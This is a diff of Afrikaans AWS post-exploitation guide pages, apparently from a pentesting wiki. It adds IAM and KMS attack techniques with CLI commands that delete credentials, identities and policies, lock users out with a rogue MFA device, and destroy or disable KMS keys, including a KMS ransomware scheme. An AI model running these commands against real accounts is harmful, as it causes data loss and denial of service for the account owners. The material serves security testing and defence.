diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 2669fc477..55831b84e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -4,21 +4,21 @@ ## IAM -Vir meer inligting oor IAM toegang: +Vir meer inligting oor IAM-toegang: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Verwarde Adjunk Probleem +## Confused Deputy Problem -As jy **'n eksterne rekening (A)** toelaat om toegang te verkry tot 'n **rol** in jou rekening, sal jy waarskynlik **0 sigbaarheid** hê oor **wie presies toegang tot daardie eksterne rekening kan verkry**. Dit is 'n probleem, want as 'n ander eksterne rekening (B) toegang kan verkry tot die eksterne rekening (A), is dit moontlik dat **B ook toegang tot jou rekening sal hê**. +As jy **'n external account (A)** toelaat om toegang tot 'n **role** in jou account te kry, sal jy waarskynlik **0 sigbaarheid** hê oor **wie presies daardie external account kan toegang**. Dit is 'n probleem, want as 'n ander external account (B) toegang tot die external account (A) het, is dit moontlik dat **B ook toegang tot jou account sal hê**. -Daarom, wanneer jy 'n eksterne rekening toelaat om toegang te verkry tot 'n rol in jou rekening, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "geheime" string wat die eksterne rekening (A) **moet spesifiseer** om **die rol in jou organisasie aan te neem**. Aangesien die **eksterne rekening B nie van hierdie string weet nie**, selfs al het hy toegang oor A, sal hy **nie in staat wees om jou rol te benader nie**. +Daarom, wanneer jy 'n external account toelaat om toegang tot 'n role in jou account te kry, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "secret" string wat die external account (A) **moet spesifiseer** om die **assume the role in your organization**. Aangesien die **external account B hierdie string nie sal ken nie**, selfs al het hy toegang tot A, **sal hy nie in staat wees om toegang tot jou role te kry nie**.
-Let egter daarop dat hierdie `ExternalId` "geheime" **nie 'n geheim is nie**, enigeen wat die **IAM aanneem rol beleid kan lees, sal dit kan sien**. Maar solank die eksterne rekening A dit weet, maar die eksterne rekening **B dit nie weet nie**, **verhoed dit dat B A misbruik om toegang tot jou rol te verkry**. +Neem egter kennis dat hierdie `ExternalId` "secret" **nie 'n geheim is nie** — enigiemand wat die **IAM assume role policy kan lees** sal dit kan sien. Maar solank die external account A dit ken, maar die external account **B dit nie ken nie**, **voorkom dit dat B A misbruik om toegang tot jou role te kry**. Voorbeeld: ```json @@ -39,7 +39,7 @@ Voorbeeld: } ``` > [!WARNING] -> Vir 'n aanvaller om 'n verwarde plaasvervanger te benut, sal hy op een of ander manier moet uitvind of die principals van die huidige rekening rolle in ander rekeninge kan naboots. +> Om 'n attacker 'n confused deputy uit te buit, sal hy op een of ander manier moet vasstel of principals van die huidige account roles in ander accounts kan impersonate. ### Onverwagte Vertroue @@ -53,7 +53,7 @@ Voorbeeld: ``` Hierdie beleid **laat alle AWS** toe om die rol aan te neem. -#### Diens as hoof +#### Diens as principal ```json { "Action": "lambda:InvokeFunction", @@ -62,9 +62,9 @@ Hierdie beleid **laat alle AWS** toe om die rol aan te neem. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Hierdie beleid **staak enige rekening** toe om hul apigateway te konfigureer om hierdie Lambda aan te roep. +Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om hierdie Lambda aan te roep. -#### S3 as hoofpersoon +#### S3 as hoofentiteit ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ Hierdie beleid **staak enige rekening** toe om hul apigateway te konfigureer om } } ``` -As 'n S3-bucket as 'n hoofpersoon gegee word, omdat S3-buckets nie 'n rekening-ID het nie, as jy **jou bucket verwyder het en die aanvaller dit in hul eie rekening geskep het**, kan hulle dit misbruik. +As 'n S3 bucket as 'n principal gegee word, omdat S3 buckets nie 'n Account ID het nie, en as jy **deleted your bucket and the attacker created** dit in hul eie account, kan hulle dit misbruik. #### Nie ondersteun nie ```json @@ -84,8 +84,80 @@ As 'n S3-bucket as 'n hoofpersoon gegee word, omdat S3-buckets nie 'n rekening-I "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -'n Algemene manier om Confused Deputy probleme te vermy, is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong ARN te kontroleer. egter, **sommige dienste mag dit nie ondersteun nie** (soos CloudTrail volgens sommige bronne). +'n Algemene manier om Confused Deputy-probleme te vermy is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong-ARN te kontroleer. Maar **sommige dienste ondersteun dit dalk nie** (soos CloudTrail volgens sekere bronne). +### Credential Deletion +Met enige van die volgende permissies — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates of CloudFront public keys verwyder, of rolle van instance profiles ontkoppel. Sulke aksies kan onmiddellik wettige gebruikers en toepassings blokkeer en denial-of-service of verlies van toegang veroorsaak vir stelsels wat van daardie credentials afhanklik is, daarom moet hierdie IAM-permissies styf beperk en gemonitor word. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Identiteitsverwydering +Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup`, kan 'n akteur gebruikers, rolle of groepe uitvee — of groepslidmaatskap verander — en sodoende identiteite en geassosieerde spore verwyder. Dit kan onmiddellik toegang vir persone en dienste wat op daardie identiteite staatmaak, onderbreek, wat denial-of-service of verlies van toegang kan veroorsaak; daarom moet hierdie IAM-aksies streng beperk en gemonitor word. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +Met enigeen van die volgende toestemmings — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur managed/inline-beleide verwyder of ontkoppel, beleidweergawes of permissions boundaries verwyder, en beleide van gebruikers, groepe of rolle loskoppel. Dit vernietig magtigings en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of diensweigering vir principals wat van daardie beleide afhanklik was, kan veroorsaak; daarom moet hierdie IAM-aksies streng beperk en gemonitor word. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Verwydering van Gefedereerde Identiteit +Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n akteur OIDC/SAML-identiteitsverskaffers verwyder of client‑IDs verwyder. Dit breek gefedereerde verifikasie, verhoed token‑validasie en ontken onmiddellik toegang aan gebruikers en dienste wat op SSO staatmaak totdat die IdP of die konfigurasies herstel is. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Onregmatige MFA-aktivering +Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel op 'n gebruiker se identiteit registreer, wat die wettige gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit word totdat die toestel verwyder of teruggestel is (nota: as verskeie MFA-toestelle geregistreer is, vereis aanmelding slegs een, dus sal hierdie aanval geen effek hê om toegang te weier nie). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Sertifikaat/Sleutel-metagegewensmanipulasie +Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kan 'n akteur die status of metagegewens van openbare sleutels en sertifikate verander. Deur sleutels/sertifikate as onaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validerings ongeldig maak, en onmiddellik dienste wat op daardie geloofsbriewe staatmaak ontwrig, wat lei tot verlies van toegang of beskikbaarheid. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` ## Verwysings - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 10e8cc45e..50d2b59ae 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -4,23 +4,23 @@ ## KMS -Vir meer inligting, kyk: +Vir meer inligting, sien: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Enkripteer/Deenkripteer inligting +### Enkripteer/dekripteer inligting -`fileb://` en `file://` is URI skemas wat in AWS CLI opdragte gebruik word om die pad na plaaslike lêers te spesifiseer: +`fileb://` and `file://` are URI-skema's wat in AWS CLI-opdragte gebruik word om die pad na plaaslike lêers aan te dui: -- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-teks lêers. -- `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone teks lêers, skripte, of JSON wat nie spesiale kodering vereistes het nie. +- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-tekstuele lêers. +- `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone tekslêers, skripte, of JSON wat nie spesiale kodering benodig nie. > [!TIP] -> Let daarop dat as jy sekere data binne 'n lêer wil deenkripteer, die lêer die binêre data moet bevat, nie base64-gecodeerde data nie. (fileb://) +> Let wel: as jy data binne 'n lêer wil dekripteer, moet die lêer die binêre data bevat, nie base64-gekodeerde data nie. (fileb://) -- Gebruik 'n **simmetriese** sleutel +- Gebruik 'n **symmetriese** sleutel ```bash # Encrypt data aws kms encrypt \ @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- Gebruik 'n **asymmetriese** sleutel: +- Gebruik van 'n **asimmetriese** sleutel: ```bash # Encrypt data aws kms encrypt \ @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -'n Aanvaller met bevoorregte toegang oor KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang oor hulle verleen**, terwyl die toegang wat aan die wettige rekening gegee is, verwyder word. +'n Aanvaller met bevoorregte toegang tot KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang tot hulle gee**, en die toegang wat aan die regmatige rekening gegee is verwyder. -Dan sal die wettige rekeninggebruikers nie in staat wees om enige inligting van enige diens wat met daardie sleutels versleuteld is, te bekom nie, wat 'n maklike maar effektiewe ransomware oor die rekening skep. +Daarna sal gebruikers van die regmatige rekening nie toegang hê tot enige inligting van enige diens wat met daardie sleutels geënkripteer is nie, wat 'n eenvoudige maar effektiewe ransomware-aanval op die rekening skep. > [!WARNING] -> Let daarop dat **AWS bestuurde sleutels nie deur hierdie aanval geraak word nie**, slegs **Kliënt bestuurde sleutels**. +> Neem kennis dat **AWS managed keys aren't affected** deur hierdie aanval, slegs **Customer managed keys**. -> Let ook op die behoefte om die parameter **`--bypass-policy-lockout-safety-check`** te gebruik (die gebrek aan hierdie opsie in die webkonsol maak hierdie aanval slegs moontlik vanaf die CLI). +> Let ook op dat die parameter **`--bypass-policy-lockout-safety-check`** gebruik moet word (die afwesigheid van hierdie opsie in die web console maak hierdie aanval slegs moontlik vanaf die CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Let daarop dat as jy daardie beleid verander en slegs toegang aan 'n eksterne rekening gee, en dan vanaf hierdie eksterne rekening probeer om 'n nuwe beleid in te stel om **die toegang terug te gee aan die oorspronklike rekening, jy nie in staat sal wees nie omdat die Put Policy aksie nie vanaf 'n kruisrekening uitgevoer kan word nie**. +> Let daarop dat as jy daardie beleid verander en slegs toegang aan 'n eksterne rekening gee, en dan van hierdie eksterne rekening probeer 'n nuwe beleid instel om **die toegang terug te gee aan die oorspronklike rekening, sal jy dit nie kan doen aangesien die Put Policy-aksie nie van 'n cross-account uitgevoer kan word nie**.
-### Generiese KMS Ransomware +### Generic KMS Ransomware -#### Globale KMS Ransomware +Daar is nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels: -Daar is 'n ander manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe sou behels: +- Skep 'n nuwe **key with a key material** wat deur die aanvaller ingevoer is +- **Re-encrypt older data** van die slagoffer wat met die vorige weergawe geënkripteer is, met die nuwe een. +- **Delete the KMS key** +- Nou sal slegs die aanvaller, wat die oorspronklike key material het, in staat wees om die geënkripteerde data te ontsleutel -- Skep 'n nuwe **sleutel met 'n sleutelmateriaal** ingevoer deur die aanvaller -- **Her-enkripteer ou data** wat met die vorige weergawe enkripteer is met die nuwe een. -- **Verwyder die KMS-sleutel** -- Nou kan slegs die aanvaller, wat die oorspronklike sleutelmateriaal het, die enkripteerde data ontkripteer +### Delete Keys via kms:DeleteImportedKeyMaterial -### Vernietig sleutels +With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imperted their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible. ```bash -# Destoy they key material previously imported making the key useless -aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab +aws kms delete-imported-key-material --key-id +``` +### Vernietig sleutels +Deur sleutels te vernietig, is dit moontlik om 'n DoS uit te voer. +```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] -> Let daarop dat AWS nou **verhoed dat die vorige aksies vanaf 'n kruisrekening uitgevoer word:** +> Neem asseblief kennis dat AWS nou **verhoed dat die vorige aksies van 'n kruistrekening uitgevoer word:** +### Change or delete Alias +Hierdie aanval verwyder of herlei AWS KMS-aliases, breek sleuteloplossing en veroorsaak onmiddellike foute in enige dienste wat op daardie aliasse staatmaak, wat lei tot 'n denial-of-service. Met toestemmings soos `kms:DeleteAlias` of `kms:UpdateAlias` kan 'n aanvaller aliasse verwyder of heraanwys en kriptografiese operasies ontwrig (bv. encrypt, describe). Enige diens wat na die alias verwys in plaas van die key ID kan misluk totdat die alias herstel is of korrek opnuut gemap is. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Cancel Key Deletion +Met toestemmings soos `kms:CancelKeyDeletion` en `kms:EnableKey` kan 'n akteur 'n geskeduleerde uitwissing van 'n AWS KMS customer master key kanselleer en dit later weer aktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel sy vermoë om voorheen beskermde data te ontsleutel, wat exfiltration moontlik maak. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Deaktiveer Sleutel +Met die `kms:DisableKey`-toestemming kan 'n akteur 'n AWS KMS customer master key (CMK) deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit breek toegang vir enige dienste wat van daardie CMK afhanklik is en kan onmiddellike ontwrigtinge of 'n denial-of-service' veroorsaak totdat die sleutel weer geaktiveer word. +```bash +aws kms disable-key \ +--key-id +``` +### Derive Shared Secret +Met die `kms:DeriveSharedSecret`-toestemming kan 'n akteur 'n private key wat deur KMS gehou word, saam met 'n deur die gebruiker verskafte public key gebruik om 'n ECDH shared secret te bereken. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +Met die `kms:Sign`-toestemming kan 'n akteur 'n KMS-stored CMK gebruik om data kriptografies te teken sonder om die private key bloot te stel, waardeur geldige signatures geskep word wat impersonation kan moontlik maak of kwaadwillige aksies kan magtig. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS met Custom Key Stores +Met toestemmings soos `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, of `kms:UpdateCustomKeyStore` kan 'n akteur 'n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, waardeur die meester-sleutels onbruikbaar raak. Dit breek versleuteling, ontsleuteling en ondertekeningsoperasies vir enige dienste wat op daardie sleutels staatmaak en kan 'n onmiddellike denial-of-service veroorsaak. Om daardie toestemmings te beperk en te monitor is dus krities. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +```
{{#include ../../../banners/hacktricks-training.md}}